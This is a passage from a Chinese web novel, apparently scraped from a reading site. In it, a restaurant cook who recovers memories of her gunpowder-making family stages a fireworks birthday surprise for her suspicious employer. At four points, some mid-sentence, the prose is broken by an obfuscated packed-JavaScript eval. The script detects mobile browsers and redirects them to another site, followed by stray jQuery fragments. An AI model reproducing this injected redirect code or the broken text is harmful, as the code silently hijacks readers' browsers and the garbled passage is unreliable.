“那不然呢,我肩不能提手不能扛,也不喜读四书五经,我啊做个厨子已经很好了。”程六水心满意足地说道。 “是啊,你要能一直只是个厨子就好了。”张清寒轻叹了口气。 “当然了,不然我还能是什么?你呢你呢,你还没说你为什么来开酒楼呢。”程六水打断了张清寒少有的伤感,笑嘻嘻追问道。 “你不是说你是个尊重别人隐私的人吗?”张清寒笑道。 “可你又不是别人。”程六水脱口而出道。 “。。。那我是谁?”张清寒的眼眸亮得惊人,如同深夜中潜伏的猎豹,伪装成丛林的毛皮下是跳动不止的心脏。 “你是衣食父母啊,我们最亲爱的东家!”程六水兴高采烈地拍着马屁,自觉还拍得相当不错。 “你还是别说话了。” “为啥?” “没一句我爱听的。” 程六水默默翻了个白眼,心想这人真是太难伺候了,正也不是反也不是,拍马屁都不爱听。还是怀念刚相识的时候,那时候东家还是个出手阔绰,人傻钱多的好东家。 下一刻,那紧闭的厨房大门被吱吱呀呀地推开,露出了探头探脑的三人,这炸鸡的味道实在是太香了,顺着窗缝门缝就窜了出去,勾得睡得正香的四方大兄弟直流口水。 “嗝,真好吃啊。”杜少仲全然没了那京城贵公子的模样,狼吞虎咽那叫一个欢实。 “你等等,所以整件事情就是你爹买通了江湖上有名的杀手组织来救你逃出东家的囚禁?”程六水不禁挠了挠脑袋,这怎么听起来这么奇怪呢,难道是她跟不上古代人的思路了? “也可以这么说啦,反正现在皆大欢喜,少仲也不用回京城了。”马陶陶手举大鸡腿道。 “但为什么东家和你爹不对付啊?他们不应该是同僚吗?”程六水紧接着好奇地问道。 瞬间后厨如安静异常,一根针掉地上都能听见,乔四方都不敢继续吃了,三人都默默注视着张清寒,显然他们是知道些什么的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16427250|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “老实吃鸡,吃完早点回去睡觉,明日还得早起呢。”张清寒擦了擦嘴,面无表情地离开了。 程六水探究的目光只能移向眼前三人身上,结果这仨一人抓了几块炸鸡,四散逃开了,程六水是一个也没抓住,不对劲很不对劲,她摇了摇头想到。 当程六水再次躺在自己的榆木床上时,她很快就睡着了。平日里她是不怎么做梦的,即使是做梦也梦得不真切,可这回这梦却相当真实。 朱墙红瓦殿宇楼阁,重重门阙无形中挡住了她的去路,直觉告诉程六水这是一处隐秘府衙,她推开了其中的一扇门,偌大的院子里却是处处凋零了无生机。 再一转头,这里凭空多出了许多人,个个身着玄色飞鱼服,神情淡漠言谈举止一板一眼,手上皆有厚厚的老茧,一把佩剑斜跨在腰上,悄无声息地守卫在四处。 “咳咳。”沙哑的咳嗽声打破了无声的梦境,程六水听到这声音,心下不由自主地一紧,心口揪着撕扯着的痛。 她的脚步不由自主地迈向了院子的深处,古朴的银杏树下瘦弱的娘亲正在那里鼓捣些地霜,石桌上的瓶瓶罐罐到处都是。 “娘,我帮你做。”程六水熟练地拿起家伙事,拿起那些已然析出的硝石,开始精细地研磨。此时梦境中的程六水仿佛有了超脱自己的意识,既深入其中又置身事外地旁观着。 而娘亲则袖子翻出了一个程六水熟悉得不能再熟悉的本子,那就是她穿越来时,原主身上仅有的东西,本子上的字她一个都不认识,显然是某种加密的文字。 娘亲在本子上,小心翼翼地记录着,写了许久后终于抬起头来道,“水水愈发懂事了,想来这程门的重担可以早早地交到你身上了。” “娘,我才不要呢,我要做你和爹爹乖女儿,重担还是爹爹扛着吧。”程六水说笑得活泼,此时她的脸上还是清澈见底的不谙世事。 “对了,爹爹什么时候回来?”程六水接着问道,她边说边取出硫磺来调配比例。 “昨日你爹爹想到了个□□的新点子,这不就忙不迭跑找大人去了,瞅着时辰现下也该回来了。”娘亲微微抬头望天道。 不远处忽而传来了错落的脚步声,一道道守门的玄衣卫低头行礼,自是有大人物来了。 可程六水并未分心,低着头仔细地将硝石与硫磺的粉末混合起来,待将其全部收于罐中,才抬起头来瞧了一眼。 是爹爹,他拿着最新研制出的图纸和那位大人物交谈着,大人物的举止做派与玄衣卫如出一辙,一眼便知这些玄衣卫皆是他训练出来的。 他身着朱衣金带,云纱冠束发整齐,即使是背影依旧难掩其权势威压,仿佛一根指头就能将程六水碾死。 忽然他察觉到背后的注视,轻轻回头冷冽的眼眸散出寒光,而程六水惊得手一抖,圆溜溜的眼睛不可置信地与他对视着。 瞬间程六水挣脱出梦境,浑身冷汗地坐起身来,她摸了摸那榆木床才安下心来,这不是梦而是她遗失的记忆,而记忆里,张清寒很早很早就见过自己。 22. 第 22 章 一个高明的骗子被另一个更高明的骗子骗了,自然其中一个是没有好果子吃的,但是哪一个呢? 静默无声的黑夜中,程六水一双眼闭得紧紧实实,手里攥紧了自己的小被子,恨不得眼一闭不睁这辈子就过去了。 直到天边第一束亮光砸在程六水抖来抖去的眼皮上,她挣扎着逃窜到被子里,继续寻找着可以逃避一切的黑暗,可不远处嘹亮的打鸣声戳破了她的幻想。 程六水最终还是毅然决然地坐了起来,耳边嗡嗡地仍在重复着张清寒冰冷的声音, “她是谁?” “你之前还在别处做过工?” “那你是做什么的?” “只是个厨子吗?” 程六水向来暖如阳春三月的脸上,头一次出现了极其高深莫测的神情,宛如一只挥舞着爪子的狸花猫,仿佛下一秒就要在那步步试探自己的大尾巴狼身上作威作福。 张清寒第一次察觉不对,正在面试新招的杂役,酒楼最近愈发忙碌了,他生怕再挨伙计们的一顿讨伐,紧锣密鼓地写了招工告示。 这不不一会儿就有人来应聘了,是个穿着朴素低着头的姑娘,饭点前厅客人正多着呢。张清寒只能领着姑娘来了后院,而后院与厨房是连着的。 “你叫什么?”张清寒一板一眼问道。 “赵玉雨。”姑娘仍旧未抬头,极小声地答道。 “以前做过杂役吗?我这酒楼说大不大说小不小,认真干起来也是个辛苦活。”张清寒瞧这赵玉雨瘦弱单薄,隐隐担心道。 “我行的,我以前是在大户人家做丫鬟的,打扫收拾都是做惯了的。”赵玉雨生怕又被赶出去,急忙道。 “咣咣咣噼里啪啦蹦!”赵玉雨话音刚落,那后厨便传来了古怪的声响,吓得张清寒以为是要炸厨房呢,赶紧走了两步掀开后厨的帘子,只见本该颠大勺的程六水正在狗狗祟祟地蹲在地上收拾着些什么。 “六水这是做什么呢?”张清寒回忆着皇帝对皇后笑的样子,努力地牵动着嘴角示好。 程六水听了这话,眼神更是躲闪,仓皇之间身后竟洒出了些许明黄色的粉末。 “这是什么?”张清寒忽而觉着这东西似曾相识,追问道。 “没什么没什么,是姜黄粉,我托人从码头带来的,是南洋那边做饭用的。”程六水手脚麻利地快速装好,讪讪笑道。 “是吗?那注意点,继续做饭吧。”张清寒笑了,却笑不见眼底,多年出生入死的直觉告诉他,这些黄色的粉末绝不止这么简单。 这岔一打,张清寒都忘了方才问到赵玉雨哪了,只能草草了事,让她在十全酒楼试用三日,若做得好便留用了。 忙碌的一日后,夕阳早已落下,酒楼打烊终于迎来了少有的清闲时光,伙计们嗷嗷待哺着,一个个都伸出脑袋朝着后厨张望,空气弥漫着一股从未闻到过的香味。 辛辣甘甜,浓郁的异域气息激发着每个人的味蕾,甚至还有牛乳的醇厚,谁闻谁不迷糊啊。 而后厨里,程六水正在大火呼呼翻炒着,菜籽油混合着圆圆葱的甜香,原本清脆的圆葱愈发软烂。这时,一碗黄色粉末倒入其中,顿时厨房里全是这香辛料的味道,小火快速翻炒着生怕粘锅了。 “这是什么呀?”赵玉雨原本在程六水身旁一言不发地打下手,却还是没忍住开口问起了这稀罕物。 “姜黄粉还加了小茴香豆蔻丁香,南洋人叫做咖喱,用来做菜可好吃了。”程六水舔着嘴唇道,在现代她可喜欢吃咖喱鸡肉饭了,在外卖软件上抢了各种券加一起,一餐只要不到十块钱,好吃又划算,真是完美的打工人盒饭。 “嗯。”赵玉雨又低下了头,勤快地把土豆和胡萝卜递给程六水。 程六水将其倒入锅中,大火翻炒着,再加上先前炒好的嫩鸡肉,浓郁的咖喱裹满了鸡肉,最后锅中倒入开水,就这么咕嘟着,不一会儿那小块的土豆胡萝卜就熟透了。 这时,程六水嘻嘻一笑,牛乳尽数被倒在汤里,顿时这锅咖喱更加醇香了。 “牛乳不是用在酥酪里的吗?”赵玉雨低着头问道。 “不知道啊,我瞎放的。”程六水不以为意道。 “什么?还能瞎放吗?”赵玉雨被这句话惊得抬起头来,一双标致的杏眼从那厚重的刘海下显露了出来。 程六水笑盈盈地看向赵玉雨,给这姑娘吓得赶忙又低下了头。 “逗你的,这是外邦的做法,加了牛乳的汤更为香甜醇厚,今日正好试试。”程六水一边收汁一边加了些盐巴进去。 饭桌上,马陶陶眼睛都在放光,“六水你也太厉害了吧,我以前只是听哥哥说过,南洋有种叫咖喱的吃食,本以为还有出海去南洋才能吃到呢,没想到你就会做。” “小意思小意思。”程六水骄傲地抬起下巴,吃了一大口咖喱鸡肉饭,心满意足地叹了一口气。 她抬头见众人皆在埋头苦吃,唯有张清寒坐在对面,若有所思地看向这盘咖喱。 程六水支起下巴,饶有兴致地盯着张清寒,那目光如同猫逗老鼠般有趣,原来无所不知的皇城司使也会有困惑的时候呀。 刹那间,张清寒亦抬起头来,两人毫无阻拦地对视着,程六水目光澄澈,非但不躲不闪,还小口吃着咖喱饭。 “东家怎么不吃?是吃不习惯吗?还是信不过我……做的咖喱?” 此言一出,伙计们皆看向了还没开吃的张清寒,“东家,这咖喱真的好吃,吃下去肚子里暖暖的。”乔四方说罢还拍了拍自己的八块腹肌道。 “我这就吃。”张清寒勉强笑道,打着哈哈地吃了一小口,果然是货真价实的咖喱,没有什么别的味道。他开始怀疑自己是不是白日里看错了,那厨房里的明黄粉末当真是姜黄粉,而不是硫磺? “东家你要是觉得我做得不好吃,你就直说吧,我的小心脏能承受得住,只不过会留个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16432806|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碗大个疤而已。”程六水忽然抽抽噎噎委屈道,圆眼微红十分脆弱,小嘴也嘟着不吃东西不说话。 张清寒一下子吓得筷子都掉桌子上了,那极白的脸上都急红了,开口就要解释道,“我……” “不,你别说了,我经受不住东家的责骂,就让我一个人独自凋零吧。”程六水竟是硬生生挤出了一滴泪下来,如清晨花蕊上的摇摇欲坠的露珠,令人忍不住心生爱怜倾覆真心。 程六水再不给张清寒解释的机会,连饭都不吃了,起身便跑回了自己的屋子里。 伙计们你瞅着我我瞅着你,显然都被这一幕惊着了,还是马陶陶最先反应过来开口道,“东家,你怎么能这么对六水呢,她忙活了一天还要给我们做晚饭,辛苦得不行夜里腿都经常抽筋,没有功劳也有苦劳啊,况且这咖喱饭多香啊。” “就是就是!”杜少仲随声附和道,嘴里压根没闲着,还在意犹未尽地吃盘子里最后一小口。 张清寒担忧地望着后院方向,他早就将那什么硫磺姜黄的抛诸脑后了,一颗心紧紧被程六水揪着,自己怎么能无缘无故怀疑她呢?竟还将她惹哭了,真是万万不该啊。 心里这般想着,脚步已然来到了程六水的房门前,他轻轻敲门却不想门直接开了一个缝,程六水早不在屋子里了,不知跑去何处了。 张清寒更是心难安,正欲出去寻她,结果余光扫过那屋子里的一处,垂下来的窗纱被风吹开了,便露出了身后隐藏的东西,好大一块的硝石。 再往硝石旁的角落里一瞧,研磨好的硝石粉末已然有好几罐了。 程六水要做什么?她不是要安安心心做个厨子吗?那为什么她的房间会有硝石,而白日里的姜黄想必也不是姜黄了,张清寒的心尖又是一阵刺痛。 这是张清寒头一次清楚地意识到,现下酒楼欢声笑语的日子只是镜花水月,这里留得住程六水,却留不住程氏唯一的传人。 他其实早就应该明白的,从在江陵第一次见到程六水,他就对她心生疑窦,处处留意着她的一言一行,可不知从什么时候开始,这样的留意不再是提防试探,而是自心底油然而生的渴望。 他想天天见到她,想天天和她说话,甚至被气得死去活来也心甘情愿,但就是这样的机会也要没有了吗? 他不能阻止六水去承担程门的使命,不能阻止她去复仇,那他还能做什么呢? “东家,你怎么乱闯别人的房间啊?”程六水捧着好多碎布条走了进来,一脸不高兴道,那脸上还有着方才的泪痕。 张清寒急迫地走到她的面前,两人离得很近很近,低下头轻声道,“我错了你别走了,好不好?” 程六水心思转了好几圈也没想明白,她也没说要走啊,她只是想以眼还眼以牙还牙,整整张清寒啊。 “我……”她一抬头,触目可及的便是一双洇红的眼眸,似水般绕着她缠着她,令她动弹不得连话都说不出来了。 23. 第 23 章 漫天风雪飘落在高耸入云的雪峰之巅,峰上有颗梅,殷红的六瓣梅独立于雪中,簇簇花下藏着颗刚刚结成的青梅,又酸又涩,一戳汁水便溅湿了那六瓣梅。 程六水被这双眼惑住了心神,耳边是急促的喘息,她那小心脏也随着这喘息扑通扑通跳了起来。 骤然间,她胸中有股没来由的冲动,伸出手想去触碰这个从来都胸有成算的男人,此时的他只不过是莫名其妙委屈巴巴的可怜虫。 但程六水没有,她的剧本里不是这么写的,绝对不能因为男人的示弱心软!这说不定只是另一个试探,不惜搭上美色的诱饵。 这头大尾巴狼几个月来都道貌岸然地装作不认识自己,暗中观察着自己的一举一动。天知道她刚从梦中惊醒时有多害怕,怕得差点就又要收拾东西去逃命了,但细细想来,张清寒似乎也没做什么不好的事情,为人和善按时发工钱,是个顶顶好的老板了。 不一会儿这滔天的害怕就没了,可随之而来的就是一股咬牙切齿的恼羞成怒,毕竟没人想做玻璃鱼缸里的金鱼,金鱼要奋起!要砸破鱼缸!要刺破某人的心脏! 这恼羞成怒的情绪迫使程六水及时悬崖勒马,那马上就要触及到张清寒颤抖眼睫的手,麻溜儿地拐了个弯,顺便抓了抓怀里的彩布条,头一歪就看见了帘子下面的硝石。 哦?所以张清寒已经看到她故意放在这里的硝石了?那他不应该疑心更重吗?最好质问她说她几句才好呢,为什么还跑过来说什么不让她走的话? “你都看到了?”程六水低下头了几瞬,再一次看向张清寒时,脸上便是那心虚的小表情,生怕别人不知道她干坏事了。 张清寒深吸一口气道,“我什么都没看到。”没看到程六水在摆弄那些炸药火药,没看到她要走的心,他统统可以装作看不见,自欺欺人就能多留住她一会儿。 “你没看到?”程六水这回声音倒是大了很多,那么老大个硝石啊,就在那明晃晃摆着呢,这张清寒是不是眼瞎啊? 她故意走到帘子旁开窗子,偏偏一不小心被大硝石绊倒,“哎呦,这什么东西啊?” 张清寒这回看都不看了,他直接默默地把门关上了,回去吃他的咖喱饭去了。 显然程六水剧本里就没有这段,气得她直跳脚,大概也确实是被绊疼了吧。 早已回房的伙计们这才敢探头探脑出来,他们不是手里扎着灯笼,就是做着花灯,尤其是那乔四方一双大手居然还叠起千纸鹤来。 程六水目光坚定道,“计划不变,今晚执行。” 众人皆点了点头,手里的活计也愈发快了起来,这里面尤其是赵玉雨的灯笼扎得又快又好,程六水一边小心地手里将硫磺粉,硝石粉还有木炭混合在一起,一边还是忍不住被那灯笼吸引着。 五彩锦鲤灯笼扎得惟妙惟肖,仿佛真如那水中游来游去的鱼儿一样,而那兔儿灯做得则玉雪可爱,雪白色的大耳朵耷拉在两边,宝石红兔眼好看极了,憨态可掬地卧倒在桌子上。 “玉雨,你这灯笼扎的真好看。”好看到像是程六水在非遗展览里见过的样子,她忍不住赞叹道。 “小时候在家里就是做灯笼生意的,我也就学做了点。”赵玉雨不好意思地笑了笑,这莞尔一笑露出了唇边的梨涡,一张脸瞬间鲜活生动了起来。 “听你的口音是京城来的?”马陶陶正在修剪彩布条,再将这些布条精致地缝成形状各异的飘带。 “我在京城大户人家做过几年工。”赵玉雨似乎很为难地答道,显然是不愿提起这段过往。 杜少仲却心里划了个疑影,这声音怎么有点耳熟,这张脸也很熟悉,但就是记不得在哪遇到过了。 “我们这里很好的,酒楼生意不错东家也是个好人,你来这里打工不亏的……”程六水如同一个职场老鸟,小嘴叭叭介绍起了优缺点。 赵玉雨好奇地看向程六水,她看得懂旁人正在做的东西,可程六水在那里鼓捣些石头,甚至还戴上了一双奇怪的手套,那手套不似冬天保暖穿的,很薄却不知有何用处。 他们所有人都躲在程六水的房间里紧罗密布地做最后的准备工作,方才出去的乔四方贼头贼脑地回来了,饮了好大一碗水道,“我眼瞅着东家朝断崖子河去了,一时半会回不来的。” 说完还做出了副使命必达的表情,像极了一只大型狗狗。 程六水这才放下心来,她大摇大摆地走出了房门,很安心地自己关在了厨房里,噼里啪啦个不停。 一场秋雨一场寒,夜间河边的风更凉了,但怎么也凉不过张清寒的心,他这一颗心拧巴来拧巴去,非但没把自己绕开全弄成死结了。 他师承六白山,山里师兄弟所学皆不同,有的满腹经纶,有的经商有道,自然还有如他这般学剑的,大家依照本心选择,师父们也自然教得畅快。 他的师父顾名思是六白山里极少露面的存在,据传常年待在苦寒无比的六白山主峰,那里冰雪覆盖积年不化,而且师父只有他一个弟子。 唯有他知道,师父哪里是常年待在雪山里,明明是常年不在雪山里,甚至连六白山都不在,早就不知去哪逍遥快活去了,张清寒就在雪山里苦练一年又一年,他原本就是孤儿被捡回来的,这性子愈发淡漠了。 古井无波的心与冰雪交汇在一起,这世间仿佛没什么事能令他拨动心弦,就算是十几岁时被不靠谱的师父踹下山历练,他也只是听从而已。 所遇之人所见之事,有些意思也没什么意思,哪怕是帝王信重朝廷党争,于他而言不过是责任与使命,再多再难的任务都能被他剥茧抽丝,皆是过眼云烟罢了。 但六水不一样,张清寒一见她就被牵动了所有情绪,她笑他就也想笑,她哭他急得也难受得不行。他没有办法控制,只能如同提线木偶一样,被她操控着。 这样的感受来得太快太急,如海水般涌向张清寒的那一刻,他已经来不及逃脱了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16442381|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况且他也舍不得逃。 张清寒想,这大概就是师父让他下山悟的道吧。与其他师兄弟的师父不同,旁人出师时,师父们皆细细叮嘱,盼其所学能造福天下苍生,不荒废这一场辛苦。 而他的师父却没有这样的期盼,他只说了一句话,“活得像个人就行了,去吧。” 现在他不仅活得像个人了,还是个人了。不再事事抽离淡漠度日,而是活得一会儿笑得像个傻子一会儿哭得像个呆子。 这样的日子很好,比之前的好,他的衣衫头发被断崖子河畔的水气吹得乱七八糟,心思倒是吹齐整了,六水想做什么都好,他就是要赖着她缠着她,这辈子都别想甩脱他。 “东家东家不好了,你快看看吧酒楼出事了。”身后猛然传来了乔四方的声音,惊起了一湾河水。 “出什么事了?又被烧了?”张清寒愣了几瞬才从情感的沼泽中脱离出来,冷着脸问道。 乔四方两颗眼珠子心虚地晃了两下,酒楼出什么事了?六水剧本里没有这句词啊,他本来就一根筋的脑袋,只能记起六水导演导戏时候比比划划的动作,至于到底说了啥他全神游天外不记得了。 眼见张清寒眼神渐渐晦暗起来,乔四方慌不择言脱口而出道,“六水出事了!” 乔四方说了这话更后悔了,他怕张清寒再问句六水出了什么事,那他可真的编不出来了,苍天啊饶了他这个榆木脑袋吧。 所幸张清寒这回压根没问,不仅没问甚至就在乔四方恍神的功夫,那张清寒就消失不见了,耳边只余那凌乱的风声。 已过子时,整条街都暗了,酒楼门前的灯笼也尽数灭了,张清寒鬼魅般的身影从寒风中呼啸而来,快到还以为真见了鬼了呢。 他破门而入,酒楼大堂半根烛火都没有,万籁俱寂丝毫人气都没有,张清寒慌了难不成程六水已然走了,再也不回来了。 “嘣嘣嘣嘣嘣嘣。”忽然间空气中泛起了不寻常的波动,剧烈的声响从张清寒耳边擦过,擦得他心口又热又凉,热得是这声音定是程六水发出的,她没走;凉得是他识得这声音,是程门的炸药,最终六水还是没能做个简简单单的厨子。 他紧闭了双眼一瞬,忍住心中无边的苦涩,已然接受了这样的六水,甚至隐隐安排好了未来的一切。 终于张清寒循着声音发出的方向转身,睁开了紧闭的双眼,冲天的火光撒满了黑夜,冰蓝烟花化作无数条游鱼,跟随着星宿的闪烁起起伏伏,汇聚在银河鹊桥之中,却又时不时翻身跃出,寂静的夜终于不再孤寂,那游鱼钻进了黑暗中便爆开了闪烁的星光,照亮了这片天。 “这是?”张清寒这回是真傻了眼,呆愣在原地,尽管努力维持着该有的体面,但上下嘴皮子还是颤抖地开口道。 “是烟花,东家生辰快乐。”燃烧着温暖烛火的灯笼彩灯亮起,彩带从屋顶各处应声洒落,程六水端着一碗长寿面,笑意盈盈开口道,伙计们则在身后喜笑颜开着。 24. 第 24 章 向来胸有谋算的男人脸上出现了不可置信的呆滞,程六水心里早已笑开了花,要不是大家还在,她都想翻滚在自己的小床上乐得肚子直疼。 惯会怀试探旁人的张清寒,是断断不会想到自己的怀疑换来的却是精心准备生辰惊喜,他但凡有一点良心,不得半夜睡不着起来扇自己呀。 愧疚他的小人之心度君子之怀,愧对酒楼小厨娘的一片赤诚之心,程六水要是他都臊得不好意思吃这碗面了。 过瘾来劲!复仇计划成功! 然后程六水就眼睁睁地看着张清寒很快地接过了她手里的长寿面,低着头一小口一小口吃着,甚至连一颗葱花都不放过,没一会儿那碗面连着汤就一点都不剩了。 程六水眨巴着眼睛,就这么吃了?这人不会是一点良心都没长吧? 伙计们围坐在桌旁,东一句西一句说笑着偷偷准备惊喜的胆战心惊,昏黄的烛火映在温馨的笑脸上。 “哎呦你都不知道那千纸鹤有多难叠,但你别说挂起来还挺好看的。”乔四方小心翼翼拨弄着他一下午的杰作。 “我的花灯做得也好呀,这荷花灯画的样子多好,我这么多年的丹青之道总算是没白费。”杜少仲仰着脑袋洋洋得意道。 “我那彩带撒下来那一刻才叫漂亮呢,东家眼睛都直了。”马陶陶抢着说道,还指了指埋头苦吃的东家。 “千纸鹤好看!” “彩带我的好看!” “你说说你们一点不大气,要我看啊,还是我的荷花灯好看。”几个人瞬间乱做一团争来争去的,吵吵闹闹欢欢喜喜。 “都好看都好看,别吵了我过生辰怎么还吵起来来了呢?”张清寒不得不出来劝架,一群人更是七嘴八舌地说起来没完。 程六水莞尔一笑,这样的日子真好,她似乎没什么可生气的了,不如就这么大方地放过张清寒吧。 她悄悄打了个哈欠,脸垫在自己手上瞌睡了起来,在这嘈杂的声音中十分安心地入眠。 “六水醒醒。”清冷的男声忽远忽近地传来,程六水懵懵地睁开眼睛,大堂早已空无一人,伙计们吵来吵去终于去睡觉了。 “我也要睡觉。”程六水撑着迷迷糊糊的脑袋,晃晃悠悠地朝着后院走去,没走两步就被一股无法抗拒的力气阻拦住了。 她的衣袖被张清寒揪住了,“干嘛?大寿星怎么还不去睡觉?” “我有话对你说。”张清寒目光灼灼地看向程六水。 程六水的意识已经飘向香甜的梦乡,勉强支棱着两个大眼睛道,“我知道,你是不是想说我的面最好吃烟花最好看啊。”说罢还失智般地傻笑起来。 “是,今晚的烟花是我见过最好看的烟花。六水,我有没有同你说过,其实我们很久很久之前就见过,只不过或许你不记得我了。”张清寒轻声道。 程六水瞬间不困了不累了,连眼皮都不耷拉着了,她无比清醒地看向张清寒,静默了许久才道, “如果我说我很多事已经记不清了,它们在我脑海里非常模糊,你信吗?” “我信。” “可我最近做了一个梦,梦里有你有我的父母,有我丢失的一部分记忆。” “你会因为这些记忆离开酒楼吗?”张清寒眼眸紧缩道。 “记忆里我不再是个厨子,我是会做炸药火器的程门传人,而你是我不曾见过的样子。” “什么样子?” “威风凛凛高不可攀,一点也不可爱。”程六水撇了撇嘴,接着又道, “这里的生活很好,但我的父母失踪了,我找不到他们为什么失踪的记忆,我不确定我什么时候会想起来。” “我从未停止寻找过你的父母,他们对大乾很重要,现在他们对我也很重要。”张清寒眼里有着程六水看不懂的情绪,过于深沉晦涩。 “找到他们之前,留在这里好吗?”张清寒再次问道。 “好。”程六水不假思索道,胸中的大石头终于落了地,她讨厌欺骗讨厌隐瞒,那是一种如影随形的焦灼感,仿佛头顶上的尖锥随时要掉落。 程六水要活得坦坦荡荡清清白白,无论是做厨子还是做炸药。 “那我送你回房。”张清寒心满意足地听到了想要的答案,这才放开六水的衣袖。 他没有说下半句话,找到六水的父母之后会怎么样呢?大概他会提着大包小裹地去拜访,然后死皮赖脸地赖着不走吧。 程六水举起手指晃了晃,“不用了,你今晚回房记得扇自己。”言罢便摇摇晃晃地走回了后院。 “扇自己?”张清寒丈二和尚摸不着头脑,但还是听话地扇了自己一下,还行不疼。 江陵的秋总是不长的,时节渐凉,酒楼生意不知怎的竟如这时节般凉了起来,往常马陶陶招待客人一整天腿都溜细了。 可这最近总是不进人,闲得她都坐到了板凳上放风,而乔四方整日里对着账本长吁短叹,愁得如同热锅上的蚂蚁。 “我出去转了一圈,马上就要入冬了,大家不爱走动是其一。”杜少仲手揣在袖子里,耳朵被风吹得红通通的。 “那还有什么旁的由头吗?”由于表现良好被顺利留用的赵玉雨问道,她与大家混熟了后话多了不少。 “其二就是那城北新开了家酒楼,将我们酒楼开业那套全都学了去,食客们有便宜不占是傻子,自然都去了那酒楼。最关键的是,他那酒楼还请歌姬舞姬,一边大口吃肉喝酒一边听曲,一下子就吸引了不老少人呢。”杜少仲接着咬牙切齿道。 “啧啧啧还唱歌跳舞,男男女女的多不健康。”程六水都从后厨出来,捧着把瓜子开始磕,筐里还有新炒的糖栗子,刚一出锅就被这几人瓜分了大半。 “那倒是也是,可光靠我这字画也吸引不了多少人啊,那些个学子们如今都被圈在书塾了,为来年春闱发奋苦读,自然就来的人更少了。”杜少仲摇了摇头道。 程六水假模假式地摸着下巴上本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16442382|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不存在的胡须,高深莫测道,“他们舞,我们也武,咱不会唱歌跳舞,但咱这有人会耍大刀啊。” 说罢还挤眉弄眼看向费力掰栗子的乔四方和左脚刚刚踏进酒楼门槛的张东家。张清寒就听了这最后一句话,就直觉没啥好事,于是那迈进来的左脚也退了回去。 “躲啥啊?你看看怎么还害羞了,这么大个男的了能不能大大方方的!”程六水颠颠将张清寒又拉进了酒楼。 “你俩说说,你俩都会个什么节目?”四位评委板板正正坐在板凳上,对面是一脸懵的乔四方和生无可恋的张清寒。 “俺没学过那些个花架子,不会什么花里胡哨的剑法,但俺有力气能劈砖头,一次能劈五块不再话下。”乔四方老老实实地回答道。 “不错不错,那这位人帅武功还高的东家呢?”程六水目光转向张清寒。 张清寒面无表情道,“落英飞花剑,桃里一点红剑,两仪太极剑,镜花水月剑,玄冰寒铁剑,破杀混沌剑,踏雪无痕剑,游龙惊鸿剑,流星追月剑……” “好!收!”杜少仲赶忙做出手势就此让张清寒打住,好家伙这是在报菜名呢。 一旁的程六水却拿起纸笔有模有样地写起来了,“哎?刚才玄冰寒铁剑后面是什么来着?” “破杀混沌剑。”张清寒秉承着一定是上辈子欠了这小姑奶奶情债的念头,勉强挤出个笑容道。 “算了不麻烦了,东家你回去写个单子出来,咱匀一匀看能不能,每天上午一场下午一场,先来个一个月不重样。四方就每日午间最忙的时候,来些手劈板砖和胸口碎大石。你看这不就有卖点了吗!”程六水仿佛又看见了一堆又一堆的银子朝自己砸来。 “那这第二点是解决了,第一点怎么整?大冷天别说客人了,我都不愿意动弹。”杜少仲道。 “那就上火锅啊,比如个什么麻辣火锅,羊肉锅子还有猪肚鸡之类的,这个交给我来办。”程六水拍着胸脯保证道。 于是在将将要立冬之际,十全酒楼开始敲锣打鼓了,可谓是锣鼓喧天鞭炮齐鸣红旗招展人山人海啊。 被好生打扮了一番的张清寒,身着墨青短打勾勒出了他极好的比例,手持一把寒光逼人的宝剑,此剑名唤“大雪”,是张清寒的随身佩剑。 只见他一个纵身便跃在空中,那寒剑如流光般一闪而过,剑尖绷直朝着空中刺去,短短几瞬便是行云流水地横劈竖砍,如同在十里桃林间飞快穿梭,脚踩虚空又一次劈向桃树,顿时落英缤纷,剑鸣大作,洋洋洒洒上百式尽显执剑者的剑法精绝。 “好好好!”被吸引来的街坊邻居围在酒楼前,一个劲地鼓掌,顿时场子便热了起来。 